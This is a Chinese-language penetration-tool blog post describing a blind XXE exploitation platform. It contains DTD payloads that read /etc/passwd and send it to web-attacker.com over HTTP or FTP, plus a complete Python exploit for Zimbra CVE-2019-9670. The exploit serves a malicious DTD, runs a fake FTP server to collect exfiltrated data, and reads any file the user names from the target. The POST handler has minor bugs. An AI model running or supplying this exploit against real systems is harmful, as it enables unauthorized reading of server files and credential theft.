Good in study, attitude and health

渗透工具开发——blind XXE利用平台的实现

0x00 前言


当应用程序存在XXE注入漏洞但不返回其响应中任何定义的外部实体的值时,就会出现blind XXE漏洞,这意味着无法直接读取服务器文件,利用起来也比常规XXE漏洞更加复杂。

在内网渗透中,最理想的情况是在跳板的命令行下完成整个漏洞的利用,于是我打算用Python实现一个完整的blind XXE利用平台,支持在命令行下运行。

0x01 简介


本文将要介绍以下内容:

  • blind XXE基本知识
  • 设计思路
  • 开源代码

0x02 blind XXE基本知识


参考链接:

https://portswigger.net/web-security/xxe

https://portswigger.net/web-security/xxe/blind

0x03 设计思路


1.漏洞验证

XXE利用代码如下:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.com"> ]>

这里定义了一个外部实体,如果存在漏洞,服务器会向指定的Web服务器发送http请求

Web服务器的搭建可以使用Python的SimpleHTTPRequestHandler,细节可参考之前的文章《渗透工具开发——XSS平台的命令行实现》

2.漏洞利用

XXE利用代码如下:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

malicious.dtd为具体的利用代码,这里有以下两种传输数据的方法

(1)通过HTTP协议传输数据

malicious.dtd代码示例:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

参数实体file用来保存文件内容

参数实体eval用来将文件内容发送至HTTP服务器,通过GET方式,参数x的内容为读取的文件内容

&#x25%的HTML实体编码

在程序实现上,可以对GET请求做一个判断,如果满足条件,将参数x的内容提取

(2)通过FTP协议传输数据

malicious.dtd代码示例:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'ftp://web-attacker.com/%file;'>">
%eval;
%exfiltrate;

参数实体file用来保存文件内容

参数实体eval用来将文件内容发送至FTP服务器,发送的FTP数据中,除了包括读取的文件内容,还有其他的登录数据

在程序实现上,可以通过socket搭建一个简单的FTP服务器,将通信内容进行筛选,获得文件内容

FTP服务器的搭建参考了xxer,优点是使用socket模拟搭建FTP服务器,方便快捷

但是在程序实现上,需要做一些修改,需要注意的内容如下:

  1. str和byte的转换
  2. 数据去重,需要将PORT命令的返回状态码设置为500,如果使用200,客户端会再次发送带有RETR的结果,导致最后的数据重复
  3. 从FTP数据中提取文件内容,只提取带有CWDRETR前缀的内容,去除多余的回车换行可以使用代码print(data, end='')

0x04 开源代码


这里以Zimbra XXE漏洞(CVE-2019-9670)为例,开发一个blind XXE利用平台

完整代码如下:

#Python3
import sys
import urllib3
import requests
import threading
import socket
from threading import Thread
from http.server import HTTPServer, SimpleHTTPRequestHandler
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


filetoread = ""
xxeplatform_url = ""
xxeplatform_http_port = ""
xxeplatform_ftp_port = ""


class XXERequestHandler(SimpleHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def do_GET(self):
        if self.path.endswith("file.dtd"):
            print("[+] Delivering DTD file to " + self.client_address[0])

            if xxeplatform_ftp_port == "false":
                xml = """<!ENTITY % file SYSTEM "file://{filetoread}">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://{xxeplatform_url}:{xxeplatform_http_port}/?requestfiledata=%file;'>">
%eval;
%exfiltrate;""".format(filetoread=filetoread,xxeplatform_url=xxeplatform_url,xxeplatform_http_port=xxeplatform_http_port)
            else:
                xml = """<!ENTITY % file SYSTEM "file://{filetoread}">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'ftp://{xxeplatform_url}:{xxeplatform_ftp_port}/%file;'>">
%eval;
%exfiltrate;""".format(filetoread=filetoread,xxeplatform_url=xxeplatform_url,xxeplatform_ftp_port=xxeplatform_ftp_port)

            self.send_response(200)
            self.send_header("Content-Length", len(xml))
            self.end_headers()
            self.wfile.write(str.encode(xml))

        if "?requestfiledata=" in self.path:
            print("[+] Read file content successfully. The contents are as follows:")
            print(self.path[18:])

    def do_POST(self):
        print(self.path)
        post_data = self.rfile.read(length).decode()
        print(post_data)
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.end_headers()
        self.wfile.write()
       
#Reference:https://github.com/TheTwitchy/xxer/
class FTPserverThread(threading.Thread):
    def __init__(self, conn_addr):
        conn, addr = conn_addr
        self.conn = conn
        self.addr = addr
        threading.Thread.__init__(self)

    def run(self):
        self.conn.send(b'220 Welcome!\r\n')
        print("[+] Read file content successfully. The contents are as follows:")
        while True:
            data = self.conn.recv(1024)
            if not data:
                break
            else:
                if "RETR" in bytes.decode(data):
                    print(bytes.decode(data)[5:], end='')
                elif "CWD" in bytes.decode(data):
                    print(bytes.decode(data)[4:], end='')

                #print("FTP: recvd '%s'" % bytes.decode(data))
                if "LIST" in bytes.decode(data):
                    self.conn.send(b"drwxrwxrwx 1 owner group          1 Feb 21 04:37 test\r\n")
                    self.conn.send(b"150 Opening BINARY mode data connection for /bin/ls\r\n")
                    self.conn.send(b"226 Transfer complete.\r\n")
                elif "USER" in bytes.decode(data):
                    self.conn.send(b"331 password please\r\n")
                elif "PORT" in bytes.decode(data):
                    self.conn.send(b"500 PORT command error\r\n")
                elif "RETR" in bytes.decode(data):
                    self.conn.send(b"500 Sorry.\r\n\r\n")
                else:
                    self.conn.send(b"230 more data please\r\n")


class FTPserver(threading.Thread):
    def __init__(self, port):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("0.0.0.0", port))
        threading.Thread.__init__(self)

    def run(self):
        self.sock.listen(5)
        while True:
            th = FTPserverThread(self.sock.accept())
            th.daemon = True
            th.start()

    def stop(self):
        self.sock.close()


def send_XXEPayload(xxeplatform_url, xxeplatform_http_port, target_url):

        xxe_data = r"""<!DOCTYPE Autodiscover [
        <!ENTITY % dtd SYSTEM "http://{xxeplatform_url}:{xxeplatform_http_port}/file.dtd">
        %dtd;
        ]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
        <EMailAddress>aaaaa</EMailAddress>
        <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
    </Request>
</Autodiscover>""".format(xxeplatform_url=xxeplatform_url,xxeplatform_http_port=xxeplatform_http_port)

        headers = {
            "Content-Type":"application/xml"
        }

        r = requests.post("https://"+target_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=30)


if __name__ == '__main__':
    if len(sys.argv)!=5:
        print("blind_XXEPlatform_CVE-2019-9670.py") 
        print("It supports receiving results through HTTP or FTP protocol.")           
        print("Usage:")
        print("%s <xxeplatform_url> <xxeplatform_http_port> <xxeplatform_ftp_port> <target_url>"%(sys.argv[0]))
        print("Note:")
        print("If you set the value of <xxeplatform_ftp_port> to false, the HTTP mode will be turned on and the results will be received through HTTP")        
        print("Eg.")
        print("%s 192.168.1.1 80 false 192.168.1.2"%(sys.argv[0]))
        print("%s 192.168.1.1 80 21 192.168.1.2"%(sys.argv[0]))
        sys.exit(0)
    else:
        xxeplatform_url = sys.argv[1]       
        xxeplatform_http_port = sys.argv[2]
        xxeplatform_ftp_port = sys.argv[3]
        target_url = sys.argv[4]
        print("[*] HTTP Server listening on %s"%(xxeplatform_http_port))
        httpd = HTTPServer(('0.0.0.0', int(xxeplatform_http_port)), XXERequestHandler)
        handlerthr = Thread(target=httpd.serve_forever, args=())
        handlerthr.daemon = True
        handlerthr.start()

        if xxeplatform_ftp_port == "false":
            print("[*] Receive results over HTTP protocol")
        else:
            print("[*] FTP Server listening on %s" % (xxeplatform_ftp_port))
            t_ftpd = FTPserver(int(xxeplatform_ftp_port))
            t_ftpd.daemon = True
            t_ftpd.start()
            print("[*] Receive results over FTP protocol")            

        try:
            while 1:
                filetoread = input("Input the file path to read(Eg. /etc/passwd):")
                send_XXEPayload(xxeplatform_url, xxeplatform_http_port, target_url)

        except KeyboardInterrupt:
            pass

代码支持命令行下使用,传输数据支持HTTP和FTP

HTTP数据传输模式示例:

blind_XXEPlatform_CVE-2019-9670.py 192.168.1.1 80 false 192.168.1.2

参数说明:

  • 本机IP为192.168.1.1
  • XXE服务器dtd文件地址为http://192.168.1.1:80/file.dtd
  • HTTP数据传输地址为http://192.168.1.1:80/?requestfiledata=xxxx
  • 目标服务器地址为https://192.168.1.2

FTP数据传输模式示例:

blind_XXEPlatform_CVE-2019-9670.py 192.168.1.1 80 21 192.168.1.2
  • 本机IP为192.168.1.1
  • XXE服务器dtd文件地址为http://192.168.1.1:80/file.dtd
  • FTP数据传输地址为ftp://192.168.1.1:21
  • 目标服务器地址为https://192.168.1.2

0x05 小结


本文介绍了blind XXE利用平台的实现,针对其他漏洞的利用,只需要修改函数send_XXEPayload的内容


LEAVE A REPLY